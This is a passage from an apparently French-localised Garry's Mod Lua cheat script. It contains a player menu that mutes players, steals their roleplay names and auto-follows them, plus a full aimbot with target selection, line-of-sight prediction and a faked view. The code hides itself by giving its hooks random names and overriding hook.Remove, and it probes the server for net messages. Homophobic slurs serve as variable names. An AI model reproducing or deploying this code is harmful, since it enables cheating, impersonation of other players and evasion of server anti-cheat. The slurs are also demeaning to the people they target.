  1505. surface.SetDrawColor(100, 100, 200 ,255)
  1506. end
  1507. surface.DrawOutlinedRect(0, 0, w, h)
  1508. surface.SetDrawColor(0, 0, 50 ,155)
  1509. surface.DrawRect(0, 0, w, h)
  1510. end
  1511. faggot.DoClick = function()
  1512. v:SetMuted( !v:IsMuted() )
  1513. if v:IsMuted() then ZNX.ChatText( "Muet: "..v:Nick(), Color(255,255,255) ) else ZNX.ChatText( "D�muter: "..v:Nick(), Color(255,255,255) ) end
  1514. surface.PlaySound("buttons/button7.wav")
  1515. end
  1516. local faggot = vgui.Create("DButton", plypanel2)
  1517. faggot:SetSize( 70, 25 )
  1518. faggot:SetPos( 300, 8 )
  1519. faggot:SetText("Voler le nom")
  1520. faggot:SetTextColor(Color(255, 255, 255, 255))
  1521. faggot.Paint = function(panel, w, h)
  1522. surface.SetDrawColor(100, 100, 200 ,255)
  1523. surface.DrawOutlinedRect(0, 0, w, h)
  1524. surface.SetDrawColor(0, 0, 50 ,155)
  1525. surface.DrawRect(0, 0, w, h)
  1526. end
  1527. faggot.DoClick = function()
  1528. LocalPlayer():ConCommand("say /rpname "..v:Nick().." ")
  1529. ZNX.ChatText( "Vous avez voler le nom de: "..v:Nick(), Color(255,255,255) )
  1530. surface.PlaySound("buttons/button7.wav")
  1531. end
  1532. local faggot = vgui.Create("DButton", plypanel2)
  1533. faggot:SetSize( 60, 25 )
  1534. faggot:SetPos( 375, 8 )
  1535. faggot:SetText("CIBLER")
  1536. faggot:SetTextColor(Color(255, 255, 255, 255))
  1537. faggot.Paint = function(panel, w, h)
  1538. if ZNX.IsTarget( v ) then
  1539. surface.SetDrawColor(100, 200, 100 ,255)
  1540. else
  1541. surface.SetDrawColor(100, 100, 200 ,255)
  1542. end
  1543. surface.DrawOutlinedRect(0, 0, w, h)
  1544. surface.SetDrawColor(0, 0, 50 ,155)
  1545. surface.DrawRect(0, 0, w, h)
  1546. end
  1547. faggot.DoClick = function()
  1548. if ZNX.IsTarget( v ) then ZNX.RemoveTarget(v) else ZNX.AddTarget(v) end
  1549. surface.PlaySound("buttons/button7.wav")
  1550. end
  1551. local faggot = vgui.Create("DButton", plypanel2)
  1552. faggot:SetSize( 45, 25 )
  1553. faggot:SetPos( 440, 8 )
  1554. faggot:SetText("Ami")
  1555. faggot:SetTextColor(Color(255, 255, 255, 255))
  1556. faggot.Paint = function(panel, w, h)
  1557. if ZNX.IsFriend( v ) then
  1558. surface.SetDrawColor(100, 200, 100 ,255)
  1559. else
  1560. surface.SetDrawColor(100, 100, 200 ,255)
  1561. end
  1562. surface.DrawOutlinedRect(0, 0, w, h)
  1563. surface.SetDrawColor(0, 0, 50 ,155)
  1564. surface.DrawRect(0, 0, w, h)
  1565. end
  1566. faggot.DoClick = function()
  1567. if ZNX.IsFriend( v ) then ZNX.RemoveFriend(v) else ZNX.AddFriend(v) end
  1568. surface.PlaySound("buttons/button7.wav")
  1569. end
  1570. local faggot = vgui.Create("DButton", plypanel2)
  1571. faggot:SetSize( 45, 25 )
  1572. faggot:SetPos( 490, 8 )
  1573. faggot:SetText("Suivre")
  1574. faggot:SetTextColor(Color(255, 255, 255, 255))
  1575. faggot.Paint = function(panel, w, h)
  1576. surface.SetDrawColor(100, 100, 200 ,255)
  1577. surface.DrawOutlinedRect(0, 0, w, h)
  1578. surface.SetDrawColor(0, 0, 50 ,155)
  1579. surface.DrawRect(0, 0, w, h)
  1580. end
  1581. faggot.DoClick = function()
  1582. if !following then
  1583. following = true
  1584. if v:IsPlayer() then
  1585. local ID = v:SteamID()
  1586. hook.Add("Think", "follow", function()
  1587. if v:SteamID()==ID then
  1588. local head = v:LookupBone("ValveBiped.Bip01_Head1")
  1589. local headpos,headang = v:GetBonePosition(head)
  1590. LocalPlayer():SetEyeAngles((headpos - LocalPlayer():GetShootPos()):Angle())
  1591. if !saidname then
  1592. saidname = true
  1593. end
  1594. end
  1595. end)
  1596. LocalPlayer():ConCommand("+forward")
  1597. LocalPlayer():ConCommand("+speed")
  1598. end
  1599. elseif following then
  1600. following = false
  1601. hook.Remove("Think", "follow")
  1602. LocalPlayer():ConCommand("-forward")
  1603. LocalPlayer():ConCommand("-speed")
  1604. saidname = false
  1605. end
  1606. surface.PlaySound("buttons/button7.wav")
  1607. end
  1608. Plist:AddItem( plypanel2 )
  1609. end
  1610. end
  1611. concommand.Add("LokiDev_players", ZNX.PlayerMenu)
  1612. ------------------------------------------------------------------------BIG MEMES----------------------------------------------------------------------------------------
  1613. function ZNX.IsMessagePooled( netmessage )
  1614. status, error = pcall(net.Start,netmessage)
  1615. return status
  1616. end
  1617. ------------------------------------------------------------------------DANK NOSPREAD----------------------------------------------------------------------------------------
  1618. local penistration = {
  1619. ["SniperPenetratedRound"] = 20,
  1620. ["pistol"] = 9,
  1621. ["357"] = 12,
  1622. ["smg1"] = 14,
  1623. ["ar2"] = 16,
  1624. ["buckshot"] = 5,
  1625. ["slam"] = 5,
  1626. ["AirboatGun"] = 17,
  1627. }
  1628. function ZNX.GetM9gayPenetration( ply, gun, tr, testent )
  1629. if !gun.Penetration then return false end
  1630. local ammotyp = gun.Primary.Ammo
  1631. local penindex = 14
  1632. if penistration[ammotyp] then penindex = penistration[ammotyp] end
  1633. if tr.MatType == MAT_METAL and ammotyp != "SniperPenetratedRound" then return false end
  1634. penindex = penindex - 0.05 -- precaution so we don't botch extreme range shots
  1635. local penissize = tr.Normal * penindex
  1636. if (tr.MatType == MAT_GLASS or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_WOOD or tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH) then
  1637. penissize = tr.Normal * (penindex * 2)
  1638. end
  1639. local ntrace = {}
  1640. ntrace.endpos = tr.HitPos + tr.Normal * 99999
  1641. ntrace.start = tr.HitPos + penissize
  1642. ntrace.mask = MASK_SHOT
  1643. ntrace.filter = {ply}
  1644. local trace = util.TraceLine(ntrace)
  1645. if trace.StartSolid or ( trace.Entity and trace.Entity != testent ) then return false end
  1646. return true
  1647. end
  1648. function ZNX.CanWeaponPenetrate( tr, testent )
  1649. local ply = LocalPlayer()
  1650. local gun = ply:GetActiveWeapon()
  1651. if !ply:IsValid() or !gun or !gun:IsValid() then return false end
  1652. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun, tr, testent ) end
  1653. return false
  1654. end
  1655. function ZNX.IsBabyGod( ply )
  1656. if !ply:IsValid() or !ply:Alive() or ply:InVehicle() then return false end
  1657. if ply:GetRenderMode() == RENDERMODE_TRANSALPHA and ply:GetColor().a == 100 then
  1658. return true
  1659. else
  1660. return false
  1661. end
  1662. end
  1663.  
  1664. function ZNX.GetPenetrationStrength( tr ) --heh
  1665. if !ZNX.CanWeaponPenetrate() then return 0 end
  1666. local ply = LocalPlayer()
  1667. local gun = ply:GetActiveWeapon()
  1668. if !ply:IsValid() or !gun or !gun:IsValid() then return 0 end
  1669. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun ) end
  1670. return 0
  1671. end
  1672.  
  1673. function ZNX.FixMove( cmd, safe )
  1674. local move = Vector( cmd:GetForwardMove(), cmd:GetSideMove(), cmd:GetUpMove() )
  1675. local speed = math.sqrt( move.x * move.x + move.y * move.y )
  1676. local mang = move:Angle()
  1677. local yaw = math.rad( cmd:GetViewAngles().y - ZNX.InternalFakeAngles.y + mang.y )
  1678. cmd:SetForwardMove( (math.cos(yaw) * speed) * 1 )
  1679. cmd:SetSideMove( math.sin(yaw) * speed )
  1680. end
  1681. ------------------------------------------------------------------------AIMBOT FUNCTIONS--------------------------------------------------------------------------------------
  1682. do
  1683. local hooks = {}
  1684. local created = {}
  1685. local function CallHook(self, name, args)
  1686. if !hooks[name] then return end
  1687. for funcName, _ in pairs(hooks[name]) do
  1688. local func = self[funcName]
  1689. if func then
  1690. local ok, err = pcall(func, self, unpack(args or {}))
  1691. if !ok then
  1692. ErrorNoHalt(err .. "\n")
  1693. elseif err then
  1694. return err
  1695. end
  1696. end
  1697. end
  1698. end
  1699. local function RandomName()
  1700. local random = ""
  1701. for i = 1, math.random(4, 10) do
  1702. local c = math.random(65, 116)
  1703. if c >= 91 && c <= 96 then c = c + 6 end
  1704. random = random .. string.char(c)
  1705. end
  1706. return random
  1707. end
  1708. local function AddHook(self, name, funcName)
  1709. if !created[name] then
  1710. local random = RandomName()
  1711. hook.Add(name, random, function(...) return CallHook(self, name, {...}) end)
  1712. created[name] = random
  1713. end
  1714. hooks[name] = hooks[name] or {}
  1715. hooks[name][funcName] = true
  1716. end
  1717. local cvarhooks = {}
  1718. local function GetCallbackTable(convar)
  1719. local callbacks = cvars.GetConVarCallbacks(convar)
  1720. if !callbacks then
  1721. cvars.AddChangeCallback(convar, function() end)
  1722. callbacks = cvars.GetConVarCallbacks(convar)
  1723. end
  1724. return callbacks
  1725. end
  1726. local function AddCVarHook(self, convar, funcName, ...)
  1727. local hookName = "CVar_" .. convar
  1728. if !cvarhooks[convar] then
  1729. local random = RandomName()
  1730. local callbacks = GetCallbackTable(convar)
  1731. callbacks[random] = function(...)
  1732. CallHook(self, hookName, {...})
  1733. end
  1734. cvarhooks[convar] = random
  1735. end
  1736. AddHook(self, hookName, funcName)
  1737. end
  1738. local oldRemove = hook.Remove
  1739. function hook.Remove(name, unique)
  1740. if created[name] == unique then return end
  1741. oldRemove(name, unique)
  1742. end
  1743. local function RemoveHooks()
  1744. for hookName, unique in pairs(created) do
  1745. oldRemove(hookName, unique)
  1746. end
  1747. for convar, unique in pairs(cvarhooks) do
  1748. local callbacks = GetCallbackTable(convar)
  1749. callbacks[unique] = nil
  1750. end
  1751. end
  1752. AA.AddHook = AddHook
  1753. AA.AddCVarHook = AddCVarHook
  1754. AA.CallHook = CallHook
  1755. AA.RemoveHooks = RemoveHooks
  1756. end
  1757. concommand.Add("aa_reload", function()
  1758. AA:CallHook("Shutdown")
  1759. print("Suppression des hooks...")
  1760. AA:RemoveHooks()
  1761. AA = nil
  1762. local info = debug.getinfo(1, "S")
  1763. if info && info.short_src then
  1764. if string.Left(info.short_src, 3) == "lua" then
  1765. info.short_src = string.sub(info.short_src, 5)
  1766. end
  1767. print("Rechargement (" .. info.short_src .. ")...")
  1768. include(info.short_src)
  1769. else
  1770. print("Ficher de L'AutoAim non pr�sent, recharger manuellement !.")
  1771. end
  1772. end)
  1773. local function GetMeta(name)
  1774. return table.Copy(FindMetaTable(name) or {})
  1775. end
  1776. local AngM = GetMeta("Angle")
  1777. local CmdM = GetMeta("CUserCmd")
  1778. local EntM = GetMeta("Entity")
  1779. local PlyM = GetMeta("Player")
  1780. local VecM = GetMeta("Vector")
  1781. do
  1782. local settings = {}
  1783. local function SettingVar(self, name)
  1784. return (self.SettingPrefix or "") .. string.lower(name)
  1785. end
  1786. local function RandomName()
  1787. local random = ""
  1788. for i = 1, math.random(4, 10) do
  1789. local c = math.random(65, 116)
  1790. if c >= 91 && c <= 96 then c = c + 6 end
  1791. random = random .. string.char(c)
  1792. end
  1793. return random
  1794. end
  1795. local function SetSetting(name, _, new)
  1796. if !settings[name] then return end
  1797. local info = settings[name]
  1798. if info.Type == "number" then
  1799. new = tonumber(new)
  1800. elseif info.Type == "boolean" then
  1801. new = (tonumber(new) or 0) > 0
  1802. end
  1803. info.Value = new
  1804. end
  1805. local function CreateSetting(self, name, desc, default, misc)
  1806. local cvar = SettingVar(self, name)
  1807. local info = {Name = name, Desc = desc, CVar = cvar, Type = type(default), Value = default}
  1808. for k, v in pairs(misc or {}) do
  1809. if !info[k] then info[k] = v end
  1810. end
  1811. if type(default) == "boolean" then
  1812. default = default and 1 or 0
  1813. end
  1814. if !settings[cvar] then
  1815. local tab = cvars.GetConVarCallbacks(cvar)
  1816. if !tab then
  1817. cvars.AddChangeCallback(cvar, function() end)
  1818. tab = cvars.GetConVarCallbacks(cvar)
  1819. end
  1820. while true do
  1821. local name = RandomName()
  1822. if !tab[name] then
  1823. tab[name] = SetSetting
  1824. info.Callback = name
  1825. break
  1826. end
  1827. end
  1828. end
  1829. settings[cvar] = info
  1830. settings[#settings + 1] = info
  1831. CreateClientConVar(cvar, default, (info.Save != false), false)
  1832. SetSetting(cvar, _, GetConVarString(cvar))
  1833. end
  1834. local function GetSetting(self, name)
  1835. local cvar = SettingVar(self, name)
  1836. if !settings[cvar] then return end
  1837. return settings[cvar].Value
  1838. end
  1839. local function Shutdown()
  1840. print("Removing settings callbacks...")
  1841. for _, info in ipairs(settings) do
  1842. if info.CVar && info.Callback then
  1843. local tab = cvars.GetConVarCallbacks(info.CVar)
  1844. if tab then
  1845. tab[info.Callback] = nil
  1846. end
  1847. end
  1848. end
  1849. end
  1850. local function SettingsList()
  1851. return table.Copy(settings)
  1852. end
  1853. local function BuildMenu(self, panel)
  1854. hook.Remove("HUDPaint", "aimbotangle")
  1855. hook.Remove("Think", "aimbot")
  1856. for _, info in ipairs(settings) do
  1857. if info.Show != false then
  1858. if info.MultiChoice then
  1859. local m = panel:MultiChoice(info.Desc or info.CVar, info.CVar)
  1860. for k, v in pairs(info.MultiChoice) do
  1861. m:AddChoice(k, v)
  1862. end
  1863. elseif info.Type == "number" then
  1864. panel:NumSlider(info.Desc or info.CVar, info.CVar, info.Min or -1, info.Max or -1, info.Places or 0)
  1865. elseif info.Type == "boolean" then
  1866. panel:CheckBox(info.Desc or info.CVar, info.CVar)
  1867. elseif info.Type == "string" then
  1868. panel:TextEntry(info.Desc or info.CVar, info.CVar)
  1869. end
  1870. end
  1871. end
  1872. end
  1873. AA.SettingPrefix = "aa_"
  1874. AA.CreateSetting = CreateSetting
  1875. AA.Setting = GetSetting
  1876. AA.SettingsList = SettingsList
  1877. AA.BuildMenu = BuildMenu
  1878. AA.SettingsShutdown = Shutdown
  1879. AA:AddHook("Shutdown", "SettingsShutdown")
  1880. end
  1881. AA.ModelTarget = {}
  1882. function AA:SetModelTarget(model, targ)
  1883. if LocalPlayer():GetActiveWeapon() != NULL then
  1884. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1885. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1886. end
  1887. self.ModelTarget[model] = targ
  1888. end
  1889. function AA:BaseTargetPosition(ent)
  1890. if LocalPlayer():GetActiveWeapon() != NULL then
  1891. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1892. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1893. end
  1894. if type(ent) == "Player" then
  1895. local head = EntM["LookupAttachment"](ent, "eyes")
  1896. if head then
  1897. local pos = EntM["GetAttachment"](ent, head)
  1898. if pos then
  1899. return pos.Pos - (AngM["Forward"](pos.Ang) * 2)
  1900. end
  1901. end
  1902. end
  1903. local special = self.ModelTarget[string.lower(EntM["GetModel"](ent) or "")]
  1904. if special then
  1905. if type(special) == "string" then
  1906. local bone = EntM["LookupBone"](ent, special)
  1907. if bone then
  1908. local pos = EntM["GetBonePosition"](ent, bone)
  1909. if pos then
  1910. return pos
  1911. end
  1912. end
  1913. elseif type(special) == "Vector" then
  1914. return EntM["LocalToWorld"](ent, special)
  1915. elseif type(special) == "function" then
  1916. local pos = pcall(special, ent)
  1917. if pos then return pos end
  1918. end
  1919. end
  1920. local bone = "ValveBiped.Bip01_Head1"
  1921. local head = EntM["LookupBone"](ent, bone)
  1922. if head then
  1923. local pos = EntM["GetBonePosition"](ent, head)
  1924. if pos then
  1925. return pos
  1926. end
  1927. end
  1928. return EntM["LocalToWorld"](ent, EntM["OBBCenter"](ent))
  1929. end
  1930. function AA:TargetPosition(ent)
  1931. if LocalPlayer():GetActiveWeapon() != NULL then
  1932. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1933. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1934. end
  1935. local targetPos = self:BaseTargetPosition(ent)
  1936. local ply = LocalPlayer()
  1937. if ValidEntity(ply) then
  1938. targetPos = self:CallHook("TargetPrediction", {ply, ent, targetPos}) or targetPos
  1939. end
  1940. return targetPos
  1941. end
  1942. AA:SetModelTarget("models/crow.mdl", Vector(0, 0, 5))
  1943. AA:SetModelTarget("models/pigeon.mdl", Vector(0, 0, 5))
  1944. AA:SetModelTarget("models/seagull.mdl", Vector(0, 0, 6))
  1945. AA:SetModelTarget("models/combine_scanner.mdl", "Scanner.Body")
  1946. AA:SetModelTarget("models/hunter.mdl", "MiniStrider.body_joint")
  1947. AA:SetModelTarget("models/combine_turrets/floor_turret.mdl", "Barrel")
  1948. AA:SetModelTarget("models/dog.mdl", "Dog_Model.Eye")
  1949. AA:SetModelTarget("models/vortigaunt.mdl", "ValveBiped.Head")
  1950. AA:SetModelTarget("models/antlion.mdl", "Antlion.Body_Bone")
  1951. AA:SetModelTarget("models/antlion_guard.mdl", "Antlion_Guard.Body")
  1952. AA:SetModelTarget("models/antlion_worker.mdl", "Antlion.Head_Bone")
  1953. AA:SetModelTarget("models/zombie/fast_torso.mdl", "ValveBiped.HC_BodyCube")
  1954. AA:SetModelTarget("models/zombie/fast.mdl", "ValveBiped.HC_BodyCube")
  1955. AA:SetModelTarget("models/headcrabclassic.mdl", "HeadcrabClassic.SpineControl")
  1956. AA:SetModelTarget("models/headcrabblack.mdl", "HCBlack.body")
  1957. AA:SetModelTarget("models/headcrab.mdl", "HCFast.body")
  1958. AA:SetModelTarget("models/zombie/poison.mdl", "ValveBiped.Headcrab_Cube1")
  1959. AA:SetModelTarget("models/zombie/classic.mdl", "ValveBiped.HC_Body_Bone")
  1960. AA:SetModelTarget("models/zombie/classic_torso.mdl", "ValveBiped.HC_Body_Bone")
  1961. AA:SetModelTarget("models/zombie/zombie_soldier.mdl", "ValveBiped.HC_Body_Bone")
  1962. AA:SetModelTarget("models/combine_strider.mdl", "Combine_Strider.Body_Bone")
  1963. AA:SetModelTarget("models/combine_dropship.mdl", "D_ship.Spine1")
  1964. AA:SetModelTarget("models/combine_helicopter.mdl", "Chopper.Body")
  1965. AA:SetModelTarget("models/gunship.mdl", "Gunship.Body")
  1966. AA:SetModelTarget("models/lamarr.mdl", "HeadcrabClassic.SpineControl")
  1967. AA:SetModelTarget("models/mortarsynth.mdl", "Root Bone")
  1968. AA:SetModelTarget("models/synth.mdl", "Bip02 Spine1")
  1969. AA:SetModelTarget("models/vortigaunt_slave.mdl", "ValveBiped.Head")
  1970. AA.NPCDeathSequences = {}
  1971. function AA:AddNPCDeathSequence(model, sequence)
  1972. self.NPCDeathSequences = self.NPCDeathSequences or {}
  1973. self.NPCDeathSequences[model] = self.NPCDeathSequences[model] or {}
  1974. if !table.HasValue(self.NPCDeathSequences[model]) then
  1975. table.insert(self.NPCDeathSequences[model], sequence)
  1976. end
  1977. end
  1978. AA:AddNPCDeathSequence("models/barnacle.mdl", 4)
  1979. AA:AddNPCDeathSequence("models/barnacle.mdl", 15)
  1980. AA:AddNPCDeathSequence("models/antlion_guard.mdl", 44)
  1981. AA:AddNPCDeathSequence("models/hunter.mdl", 124)
  1982. AA:AddNPCDeathSequence("models/hunter.mdl", 125)
  1983. AA:AddNPCDeathSequence("models/hunter.mdl", 126)
  1984. AA:AddNPCDeathSequence("models/hunter.mdl", 127)
  1985. AA:AddNPCDeathSequence("models/hunter.mdl", 128)
  1986. AA:CreateSetting("friendlyfire", "Target teammates", false)
  1987. function AA:IsValidTarget(ent)
  1988. if LocalPlayer():GetActiveWeapon() != NULL then
  1989. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1990. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1991. end
  1992. local typename = type(ent)
  1993. if typename != "NPC" && typename != "Player" then return false end
  1994. if !ValidEntity(ent) then return false end
  1995. local ply = LocalPlayer()
  1996. if ent == ply then return false end
  1997. if typename == "Player" then
  1998. if !PlyM["Alive"](ent) then return false end
  1999. if !self:Setting("friendlyfire") && PlyM["Team"](ent) == PlyM["Team"](ply) then return false end
  2000. if GetConVarNumber("aa_targetfriends") != 1 && ent:GetFriendStatus() == "friend" then return false end
  2001. if EntM["GetMoveType"](ent) == MOVETYPE_OBSERVER then return false end
  2002. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2003. end
  2004. if typename == "NPC" then
  2005. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2006. local model = string.lower(EntM["GetModel"](ent) or "")
  2007. if table.HasValue(self.NPCDeathSequences[model] or {}, EntM["GetSequence"](ent)) then return false end
  2008. end
  2009. end
  2010. AA:CreateSetting("predictblocked", "Predict blocked (time)", 0.4, {Min = 0, Max = 1})
  2011. function AA:BaseBlocked(target, offset)
  2012. if LocalPlayer():GetActiveWeapon() != NULL then
  2013. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2014. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2015. end
  2016. local ply = LocalPlayer()
  2017. if !ValidEntity(ply) then return end
  2018. local shootPos = PlyM["GetShootPos"](ply)
  2019. local targetPos = self:TargetPosition(target)
  2020. if offset then targetPos = targetPos + offset end
  2021. local trace = util.TraceLine({start = shootPos, endpos = targetPos, filter = {ply, target}, mask = MASK_SHOT})
  2022. local wrongAim = self:AngleBetween(PlyM["GetAimVector"](ply), VecM["GetNormal"](targetPos - shootPos)) > 2
  2023. if trace.Hit && trace.Entity != target then
  2024. return true, wrongAim
  2025. end
  2026. return false, wrongAim
  2027. end
  2028. function AA:TargetBlocked(target)
  2029. if LocalPlayer():GetActiveWeapon() != NULL then
  2030. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2031. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2032. end
  2033. if !target then target = self:GetTarget() end
  2034. if !target then return end
  2035. local blocked, wrongAim = self:BaseBlocked(target)
  2036. if self:Setting("predictblocked") > 0 && blocked then
  2037. blocked = self:BaseBlocked(target, EntM["GetVelocity"](target) * self:Setting("predictblocked"))
  2038. end
  2039. return blocked, wrongAim
  2040. end
  2041. function AA:SetTarget(ent)
  2042. if LocalPlayer():GetActiveWeapon() != NULL then
  2043. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2044. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2045. end
  2046. if self.Target && !ent then
  2047. self:CallHook("TargetLost")
  2048. elseif !self.Target && ent then
  2049. self:CallHook("TargetGained")
  2050. elseif self.Target && ent && self.Target != ent then
  2051. self:CallHook("TargetChanged")
  2052. end
  2053. self.Target = ent
  2054. end
  2055. function AA:GetTarget()
  2056. if LocalPlayer():GetActiveWeapon() != NULL then
  2057. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2058. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2059. end
  2060. if ValidEntity(self.Target) != false then
  2061. return self.Target
  2062. else
  2063. return false
  2064. end
  2065. end
  2066. AA:CreateSetting("maxangle", "Max angle", 30, {Min = 5, Max = 90})
  2067. AA:CreateSetting("targetblocked", "Don't check LOS", false)
  2068. AA:CreateSetting("holdtarget", "Hold targets", false)
  2069. function AA:FindTarget()
  2070. if LocalPlayer():GetActiveWeapon() != NULL then
  2071. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2072. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2073. end
  2074. if !self:Enabled() then return end
  2075. local ply = LocalPlayer()
  2076. if !ValidEntity(ply) then return end
  2077. local maxAng = self:Setting("maxangle")
  2078. local aimVec, shootPos = PlyM["GetAimVector"](ply), PlyM["GetShootPos"](ply)
  2079. local targetBlocked = self:Setting("targetblocked")
  2080. if self:Setting("holdtarget") then
  2081. local target = self:GetTarget()
  2082. if target then
  2083. local targetPos = self:TargetPosition(target)
  2084. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2085. local blocked = self:TargetBlocked(target)
  2086. if angle <= maxAng && (!blocked || targetBlocked) then return end
  2087. end
  2088. end
  2089. local targets = ents.GetAll()
  2090. for i, ent in pairs(targets) do
  2091. if self:IsValidTarget(ent) == false then
  2092. targets[i] = nil
  2093. end
  2094. end
  2095. local closestTarget, lowestAngle = _, maxAng
  2096. for _, target in pairs(targets) do
  2097. if targetBlocked || !self:TargetBlocked(target) then
  2098. local targetPos = self:TargetPosition(target)
  2099. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2100. if angle < lowestAngle then
  2101. lowestAngle = angle
  2102. closestTarget = target
  2103. end
  2104. end
  2105. end
  2106. self:SetTarget(closestTarget)
  2107. end
  2108. AA:AddHook("Think", "FindTarget")
  2109. AA.View = Angle(0, 0, 0)
  2110. function AA:GetView()
  2111. return self.View * 1
  2112. end
  2113. function AA:KeepView()
  2114. if !self:Enabled() then return end
  2115. local ply = LocalPlayer()
  2116. if !ValidEntity(ply) then return end
  2117. self.View = EntM["EyeAngles"](ply)
  2118. end
  2119. AA:AddHook("OnToggled", "KeepView")
  2120. local sensitivity = 0.022
  2121. function AA:RotateView(cmd)
  2122. if LocalPlayer():GetActiveWeapon() != NULL then
  2123. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2124. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2125. end
  2126. self.View.p = math.Clamp(self.View.p + (CmdM["GetMouseY"](cmd) * sensitivity), -89, 89)
  2127. self.View.y = math.NormalizeAngle(self.View.y + (CmdM["GetMouseX"](cmd) * sensitivity * -1))
  2128. end
  2129. AA:CreateSetting("debug", "Debug", false, {Show = false})
  2130. function AA:FakeView(ply, origin, angles, FOV)
  2131. if LocalPlayer():GetActiveWeapon() != NULL then
  2132. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2133. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2134. end
  2135. if !self:Enabled() && !self.SetAngleTo then return end
  2136. if GetViewEntity() != LocalPlayer() then return end
  2137. if self:Setting("debug") then return end
  2138. local base = GAMEMODE:CalcView(ply, origin, self.SetAngleTo or self.View, FOV) or {}
  2139. base.angles = base.angles or (self.AngleTo or self.View)
  2140. base.angles.r = 0
  2141. return base
  2142. end
  2143. AA:AddHook("CalcView", "FakeView")
  2144. function AA:TargetPrediction(ply, target, targetPos)
  2145. local weap = PlyM["GetActiveWeapon"](ply)
  2146. if ValidEntity(weap) then
  2147. local class = EntM["GetClass"](weap)
  2148. if class == "weapon_crossbow" then
  2149. local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  2150. local time = (dist / 3500) + 0.05
  2151. targetPos = targetPos + (EntM["GetVelocity"](target) * time)
  2152. end
  2153. local mul = 0.0075
  2154. end
  2155. return targetPos
  2156. end
  2157. AA:AddHook("TargetPrediction", "TargetPrediction")
  2158. function AA:SetAngle(ang)
  2159. if LocalPlayer():GetActiveWeapon() != NULL then
  2160. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2161. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2162. end
  2163. self.SetAngleTo = ang
  2164. end
  2165. AA:CreateSetting("smoothspeed", "Smooth aim speed (0 to disable)", 120, {Min = 0, Max = 360})
  2166. AA:CreateSetting("snaponfire", "Snap on fire", true)
  2167. AA:CreateSetting("snapgrace", "Snap on fire grace", 0.5, {Min = 0, Max = 3, Places = 1})
  2168. AA.LastAttack = 0
  2169. function AA:SetAimAngles(cmd)
  2170. if LocalPlayer():GetActiveWeapon() != NULL then
  2171. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2172. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2173. end
  2174. self:RotateView(cmd)
  2175. if !self:Enabled() && !self.SetAngleTo then return end
  2176. local ply = LocalPlayer()
  2177. if !ValidEntity(ply) then return end
  2178. local targetAim = self:GetView()
  2179. local target = self:GetTarget()
  2180. if target then
  2181. local targetPos = self:TargetPosition(target)
  2182. targetAim = VecM["Angle"](targetPos - ply:GetShootPos())
  2183. end
  2184. if self:Setting("snaponfire") then
  2185. local time = CurTime()
  2186. if PlyM["KeyDown"](ply, IN_ATTACK) || PlyM["KeyDown"](ply, IN_ATTACK2) || self:Setting("autoshoot") != 0 then
  2187. self.LastAttack = time
  2188. end
  2189. if CurTime() - self.LastAttack > self:Setting("snapgrace") then
  2190. targetAim = self:GetView()
  2191. end
  2192. end
  2193. if self.SetAngleTo then
  2194. targetAim = self.SetAngleTo
  2195. end
  2196. local smooth = self:Setting("smoothspeed")
  2197. if smooth > 0 then
